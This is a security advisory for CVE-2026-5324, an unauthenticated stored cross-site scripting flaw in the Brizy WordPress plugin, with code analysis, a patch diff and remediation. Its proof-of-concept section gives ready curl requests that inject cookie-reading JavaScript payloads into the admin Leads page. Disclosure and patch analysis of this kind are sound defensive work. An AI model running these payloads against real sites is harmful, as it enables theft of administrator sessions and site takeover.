CVE-2026-5324: Unauthenticated XSS in Brizy Page Builder
Table of Contents
CVE-2026-5324 is a CVSS 7.2 (High) unauthenticated stored cross-site scripting vulnerability in the Brizy – Page Builder WordPress plugin. Any unauthenticated visitor can permanently inject a JavaScript payload into the site’s admin panel — no account required — and the script fires when an administrator opens the form Leads page.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Brizy – Page Builder |
| Plugin Slug | brizy |
| CVE ID | CVE-2026-5324 |
| CVSS Score | 7.2 (High) |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting via FileUpload Field Value |
| Affected Versions | <= 2.8.11 |
| Patched Version | 2.8.12 |
| Published | May 1, 2026 |
| Researcher | momopon1415 |
| Wordfence Advisory | Link |
Description
An unauthenticated attacker can store malicious JavaScript in any WordPress site running Brizy – Page Builder ≤ 2.8.11. The script fires when an administrator opens the form Leads page in the WordPress admin panel. No login, account, or interaction with a real form is required to plant the payload.
The vulnerability chains three weaknesses. First, the form submission endpoint skips nonce verification for visitors who are not logged in. Second, the handleFileTypeFields() function retains attacker-supplied field values when no file is uploaded. Third, the admin view decodes entity-encoded values and outputs them directly into an <a> tag without sanitization. Together, these flaws allow a crafted form_id submission to inject a JavaScript URI or an attribute-breaking payload that executes when the admin reviews submitted leads.
Technical Analysis
Vulnerable Code Path
1. Unauthenticated form submission — editor/forms/api.php:196–202
submit_form() is registered on both the authenticated (wp_ajax_) and unauthenticated (wp_ajax_nopriv_) AJAX hooks (lines 75–76). When a visitor (not logged in) submits the form, the nonce check block is skipped entirely:
// editor/forms/api.php:196-202
public function submit_form()
{
if ( is_user_logged_in() ) {
if ( empty( $_REQUEST['nonce'] ) || ! wp_verify_nonce( $_REQUEST['nonce'], Brizy_Editor_API::nonce ) ) {
$this->error( 401, 'Please refresh the page and try again.' );
}
}
// ← Unauthenticated requests reach here with no nonce check
An attacker posts directly to /wp-admin/admin-ajax.php?action=brizy_submit_form with no nonce.
2. FileUpload field value not cleared on missing file — editor/forms/api.php:295–352
handleFileTypeFields() is hooked at priority -100 on brizy_form_submit_data, so it runs before storage. It iterates $_FILES[$field->name]['name'] to replace field values with uploaded file URLs. When no file is attached, $_FILES[$field->name] is absent and the loop never executes. The attacker-controlled $field->value is returned unchanged:
// editor/forms/api.php:295-352 (vulnerable)
public function handleFileTypeFields($fields, $form)
{
foreach ($fields as $field) {
if ($field->type == 'FileUpload') {
$uFile = $_FILES[$field->name]; // NULL when no file uploaded
foreach ($_FILES[$field->name]['name'] as $index => $value) {
// ← This loop is never entered; attacker value survives
$field->value = $file['url'];
}
}
}
return $fields;
}
3. htmlentities() storage — admin/form-entries.php:296–310
After handleFileTypeFields(), the form_submit_data() hook (priority 10) runs. For non-Paragraph fields, sanitize_text_field() is called — it strips HTML tags, but leaves characters like " and JavaScript URIs (javascript:) intact. The value is then encoded with htmlentities() and stored in post_content:
// admin/form-entries.php:302-310
$value = sanitize_text_field( $field->value );
// javascript:alert(1) → passes through unchanged (no HTML tags)
// " onmouseover="alert(1) → passes through unchanged
$fieldsCopy[ $i ]->value = htmlentities( $value, ENT_COMPAT | ENT_HTML401, 'UTF-8' );
// " → stored as "
4. html_entity_decode() reversal on display — admin/form-entries.php:78–79
When an administrator visits the Leads page, manageCustomColumns() reads the stored post_content and calls html_entity_decode() on every field value before passing it to the view template:
// admin/form-entries.php:77-80
foreach ( $data->formData as $i => $field ) {
$data->formData[ $i ]->name = html_entity_decode( $field->name, ENT_COMPAT, 'UTF-8' );
$data->formData[ $i ]->value = html_entity_decode( $field->value, ENT_COMPAT, 'UTF-8' );
// " → decoded back to "
}
This reverses the entity encoding that was applied at storage, restoring the raw attacker payload.
5. Unescaped output in admin template — admin/views/form-data.php:9–14
The form data template outputs FileUpload values directly into an <a> tag with no escaping:
// admin/views/form-data.php:9-14 (vulnerable)
<?php if ( $type == 'FileUpload' ): ?>
<span id="<?php echo esc_attr($field->name); ?>">
<a href="<?php echo $field->value; ?>" target="_blank">
<?php echo $field->value; ?>
</a>
</span>
A value of javascript:alert(document.cookie) renders as a clickable XSS link. A value like " onmouseover="alert(document.cookie) breaks out of the href attribute and injects an event handler that fires on mouse hover.
Root Cause
The function handleFileTypeFields() does not check whether $_FILES[$field->name] is set before iterating its contents. As a result, the attacker-supplied value in the data POST parameter is stored without replacement. The output template then renders this value with no URL or HTML escaping.
Why Existing Controls Failed
sanitize_text_field() strips HTML tags but leaves JavaScript URI schemes (javascript:) and attribute-breaking characters (") intact. htmlentities() encodes these characters for safe storage — but html_entity_decode() on the display path restores the raw payload before it reaches the unescaped echo in form-data.php. The round-trip encoding creates a false sense of safety while producing no net protection at output time.
Attack Impact
An unauthenticated attacker can permanently store a JavaScript payload that fires in an administrator’s browser session. This can lead to admin credential theft via document.cookie, creation of new administrator accounts via authenticated AJAX calls, or full site takeover.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
brizyplugin installed and activated - Plugin version <= 2.8.11
- At least one Brizy page with a form that has a FileUpload field, and the form’s leads logging enabled (a form integration must be active — the default “Save to Leads” integration satisfies this)
Step-by-Step Reproduction
Step 1: Identify the form ID
Load any published WordPress page that contains a Brizy form with a FileUpload field. View the page source and look for the Brizy form markup. The form_id is embedded in the rendered HTML as a data attribute, or can be found by observing the XHR request Brizy makes when the form is submitted normally using browser DevTools (Network tab → look for requests to admin-ajax.php?action=brizy_submit_form → inspect the form_id POST parameter).
# Alternative: observe a real submission in the network tab
# The form_id is a short alphanumeric string like "abc123def"
FORM_ID="<form_id_from_page_source>"
TARGET="https://victim-site.example.com"
Step 2: Submit a malicious FileUpload field value (no file attached)
Send a POST request to the WordPress AJAX endpoint. Set the data parameter to a JSON array containing a FileUpload field with a javascript: URI as the value. Do not include any file in the request — the absence of a file is what allows the value to be retained.
curl -s -X POST \
"${TARGET}/wp-admin/admin-ajax.php" \
--data-urlencode "action=brizy_submit_form" \
--data-urlencode "form_id=${FORM_ID}" \
--data-urlencode 'data=[{"name":"upload_field","type":"FileUpload","value":"javascript:alert(document.cookie)","label":"Upload"}]'
For an auto-firing payload via attribute injection (fires on hover, not just click):
curl -s -X POST \
"${TARGET}/wp-admin/admin-ajax.php" \
--data-urlencode "action=brizy_submit_form" \
--data-urlencode "form_id=${FORM_ID}" \
--data-urlencode 'data=[{"name":"upload_field","type":"FileUpload","value":"\" onmouseover=\"alert(document.cookie)","label":"Upload"}]'
Step 3: Trigger execution
Log in to WordPress as an administrator and navigate to the Leads page:
/wp-admin/edit.php?post_type=editor-form-entry
- For the
javascript:payload: click the link in the leads table — the script executes. - For the
onmouseoverpayload: hover over the link in the leads table — the script fires automatically.
Expected Result
The browser executes alert(document.cookie) inside the administrator’s session. In a real attack, the payload would be replaced with a script that exfiltrates the session cookie to an attacker-controlled server, or that creates a new backdoor administrator account via the WordPress REST API.
Verification
After the curl request in Step 2:
- Check the WordPress database — a new row in
wp_postswithpost_type = 'editor-form-entry'should containjavascript:alert(document.cookie)(HTML-entity encoded) inpost_content. - Open the Leads page as admin. Confirm the XSS fires as described above.
Patch Analysis
What Changed
editor/forms/api.php: The patch adds a null/empty guard at the start of theFileUploadbranch inhandleFileTypeFields(). When no file is present in$_FILES, it sets$field->value = ''and skips to the next field.admin/views/form-data.php: The patch wraps every output with proper escaping —esc_url()on thehrefattribute,esc_html()on the link text, andwp_kses()with a minimal allow-list for non-FileUpload values.
Fix Explanation
The patch fixes the root cause. When no file is uploaded, handleFileTypeFields() now forces the FileUpload value to an empty string before storage — so the attacker payload never reaches the database. The output escaping in form-data.php provides defense-in-depth: esc_url() strips javascript: URIs, and esc_html() encodes <, >, and ", blocking both the JavaScript URI and the attribute-injection vectors. Both fixes are necessary — the storage fix alone would not protect against any future code path that writes unvalidated data, and the output fix alone would not have been sufficient because esc_url() passes javascript: URIs unchanged in some older WordPress versions.
Code Diff (Key Changes)
--- a/editor/forms/api.php
+++ b/editor/forms/api.php
@@ -297,6 +297,11 @@ class Brizy_Editor_Forms_Api
foreach ($fields as $field) {
if ($field->type == 'FileUpload') {
+ if ( ! isset( $_FILES[ $field->name ] ) || empty( $_FILES[ $field->name ]['name'] ) ) {
+ $field->value = '';
+ continue;
+ }
+
$uFile = $_FILES[$field->name];
--- a/admin/views/form-data.php
+++ b/admin/views/form-data.php
@@ -9,11 +9,11 @@
<?php if ( $type == 'FileUpload' ): ?>
<span id="<?php echo esc_attr($field->name); ?>">
- <a href="<?php echo $field->value; ?>" target="_blank">
- <?php echo $field->value; ?>
+ <a href="<?php echo esc_url( $field->value ); ?>" target="_blank">
+ <?php echo esc_html( $field->value ); ?>
</a>
</span>
<?php else: ?>
<span id="..." class="...">
- <?php echo strip_tags( $field->value, '<br>' ); ?>
+ <?php echo wp_kses( $field->value, array( 'br' => array() ) ); ?>
</span>
Timeline
| Date | Event |
|---|---|
| 2026-04-09 | Patched version 2.8.12 released |
| 2026-05-01 | Publicly disclosed by Wordfence |
Remediation
Update the brizy plugin to version 2.8.12 or later.
References
- https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/admin/views/form-data.php#L11
- https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/admin/form-entries.php#L79
- https://plugins.trac.wordpress.org/browser/brizy/trunk/admin/views/form-data.php#L11
- https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/editor/forms/api.php#L198
- https://plugins.trac.wordpress.org/browser/brizy/tags/2.7.24/editor/forms/api.php#L295
- https://plugins.trac.wordpress.org/changeset/3502206/brizy/trunk/admin/views/form-data.php
- https://plugins.trac.wordpress.org/changeset?old_path=%2Fbrizy/tags/2.8.11&new_path=%2Fbrizy/tags/2.8.12
Frequently Asked Questions
What is CVE-2026-5324?
CVE-2026-5324 is a CVSS 7.2 High severity unauthenticated stored cross-site scripting vulnerability in the Brizy Page Builder WordPress plugin that lets any visitor permanently inject malicious JavaScript into the WordPress admin panel.
Which versions of Brizy – Page Builder are affected by CVE-2026-5324?
All versions of Brizy – Page Builder up to and including 2.8.11 are vulnerable. Version 2.8.12 contains the fix and is safe to use.
What can an attacker do with CVE-2026-5324?
An attacker can permanently store a JavaScript payload that executes in an administrator's browser session when the admin opens the form Leads page. This can lead to admin credential theft, creation of new backdoor administrator accounts, or full site takeover.
Does an attacker need to be logged in to exploit CVE-2026-5324?
No. The vulnerability is unauthenticated, so any visitor can exploit it without any WordPress account or login.
How do I fix CVE-2026-5324 in Brizy – Page Builder?
Update the Brizy – Page Builder plugin to version 2.8.12 or later. You can do this from the Plugins page in your WordPress admin dashboard or by downloading the update from wordpress.org.
Has Brizy – Page Builder been patched for CVE-2026-5324?
Yes. Version 2.8.12 was released on April 9, 2026 and fully resolves this vulnerability.